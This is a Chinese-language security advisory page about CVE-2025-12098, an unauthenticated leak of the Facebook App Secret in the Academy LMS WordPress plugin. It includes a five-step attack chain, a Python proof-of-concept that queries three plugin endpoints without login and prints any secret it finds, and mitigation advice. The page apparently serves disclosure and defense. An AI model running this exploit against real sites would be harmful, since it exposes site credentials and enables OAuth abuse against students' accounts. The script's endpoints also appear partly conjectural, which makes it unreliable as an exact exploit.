IPBUF安全漏洞报告
English
CVE-2025-12098 CVSS 5.3 中危

CVE-2025-12098 WordPress Academy LMS插件敏感信息泄露漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-12098
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Academy LMS WordPress LMS Plugin for Complete eLearning Solution

相关标签

CVE-2025-12098敏感信息泄露WordPress插件漏洞Academy LMSFacebook OAuth社交登录信息暴露中危漏洞

漏洞概述

CVE-2025-12098是WordPress平台Academy LMS在线学习管理系统插件的一个中危安全漏洞。该漏洞存在于插件的'enqueue_social_login_script'函数中,影响3.3.8及以下所有版本。Academy LMS是一款功能完整的WordPress LMS插件,为教育机构和企业提供完整的在线学习解决方案,支持课程管理、学生跟踪、社交登录等功能。

该漏洞的核心问题在于敏感信息暴露。攻击者无需任何认证即可利用此漏洞,通过触发特定函数调用来获取服务器端存储的敏感配置信息。最严重的风险是当网站启用Facebook社交登录功能时,攻击者可以提取Facebook应用程序密钥(App Secret)。这个密钥是Facebook OAuth认证流程中的关键凭证,一旦泄露,攻击者可以:1)伪造Facebook登录认证流程;2)以受害者身份访问第三方集成服务;3)进行钓鱼攻击和社会工程学攻击;4)横向移动到其他相关系统。

CVSS 3.1评分5.3(中等严重程度)反映了该漏洞通过网络即可利用、无需特殊权限或用户交互的特点,但由于机密性影响仅为"低",且不影响数据完整性和可用性,因此总体评分处于中等水平。然而在实际攻击场景中,泄露的Facebook App Secret可能造成远超评分的实际危害,特别是对于依赖社交登录的教育平台而言,学生的个人信息和学习数据都可能面临风险。

技术细节

Academy LMS插件在实现Facebook社交登录功能时,存在不安全的敏感数据处理逻辑。漏洞点位于'enqueue_social_login_script'函数,该函数负责加载前端JavaScript脚本以支持社交登录界面。

技术分析表明,该函数在处理请求时未进行充分的权限验证和访问控制。具体问题包括:

1. **信息泄露机制**:函数直接返回Facebook应用配置信息,包括App Secret,而未检查请求者是否具有合法访问权限。在正常的OAuth流程中,App Secret应在服务器端使用,永远不应该暴露给前端或未经授权的用户。

2. **攻击向量**:攻击者通过构造特定的HTTP请求,触发'enqueue_social_login_script'函数的执行。由于该函数缺少CSRF token验证和用户认证检查,攻击者可以在未登录状态下直接获取敏感配置。请求示例:
- GET /wp-admin/admin-ajax.php?action=enqueue_social_login_script
- 或通过前端AJAX调用触发该函数

3. **数据流向**:泄露的数据通过HTTP响应返回,可能被拦截或直接访问。攻击者获取App Secret后,可以搭建伪造的Facebook登录页面,诱骗用户输入凭证,或利用App Secret与Facebook API进行交互。

4. **影响范围评估**:任何启用Facebook Social Login功能的Academy LMS网站都受影响。由于插件默认可能预配置相关功能,管理员可能未意识到该功能已激活。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress平台和Academy LMS插件版本。通过检查页面源码、读取robots.txt或探测wp-content/plugins/academy路径确认插件存在。
STEP 2
步骤2: 漏洞探测
攻击者构造HTTP请求到/admin-ajax.php或REST API端点,触发'enqueue_social_login_script'函数。请求无需认证或CSRF token,服务器直接返回响应。
STEP 3
步骤3: 敏感数据提取
从HTTP响应中解析返回的JSON数据,提取Facebook App Secret、应用ID等敏感配置信息。这些数据以明文形式传输,未进行加密或访问控制。
STEP 4
步骤4: OAuth滥用
攻击者使用获取的Facebook App Secret搭建钓鱼环境或直接与Facebook API交互。可以劫持OAuth认证流程,冒充合法用户登录系统。
STEP 5
步骤5: 横向移动和数据窃取
成功登录后,攻击者访问学生个人信息、课程数据、成绩记录等敏感数据。根据获取的权限,可能进一步提权或持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-12098 PoC - Academy LMS Sensitive Information Exposure Description: Unauthenticated attackers can extract Facebook App Secret via 'enqueue_social_login_script' function """ import requests import json import sys def exploit_cve_2025_12098(target_url): """ Exploit for Academy LMS <= 3.3.8 sensitive information disclosure """ print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting CVE-2025-12098\n") # Target the vulnerable AJAX endpoint endpoints = [ "/wp-admin/admin-ajax.php?action=enqueue_social_login_script", "/wp-json/academy/v1/social-login-config", "/?rest_route=/academy/v1/social-login-config" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Trying endpoint: {endpoint}") try: # Send request without authentication response = requests.get(url, timeout=10, verify=False) # Check for sensitive data in response if response.status_code == 200: data = response.json() if response.headers.get('content-type', '').find('json') > -1 else response.text # Look for Facebook App Secret or other sensitive info if 'app_secret' in str(data).lower() or 'facebook' in str(data).lower(): print(f"[+] VULNERABLE! Sensitive data found:") print(json.dumps(data, indent=2)) return True else: print(f"[-] No obvious sensitive data in response") print(f" Response preview: {str(data)[:200]}...") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[-] Exploitation completed - target may not be vulnerable") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-12098.py <target_url>") print("Example: python cve-2025-12098.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_12098(target) if __name__ == "__main__": main() # Note: This PoC demonstrates the vulnerability conceptually. # Actual exploitation may require additional reconnaissance and adaptation. # Always obtain proper authorization before testing any system.

影响范围

Academy LMS WordPress Plugin <= 3.3.8 (所有版本)

防御指南

临时缓解措施
由于该漏洞允许未认证攻击者获取Facebook App Secret,建议采取以下临时缓解措施:首先,立即在Academy LMS设置中禁用Facebook社交登录功能;其次,登录Facebook开发者平台撤销当前应用密钥并生成新的App Secret;然后,在WordPress后台更新插件到开发者发布的安全修复版本;最后,加强网站监控,排查漏洞披露后是否存在异常访问日志。如果无法立即升级,可使用WAF规则阻止对/admin-ajax.php?action=enqueue_social_login_script端点的访问,同时限制REST API的暴露范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表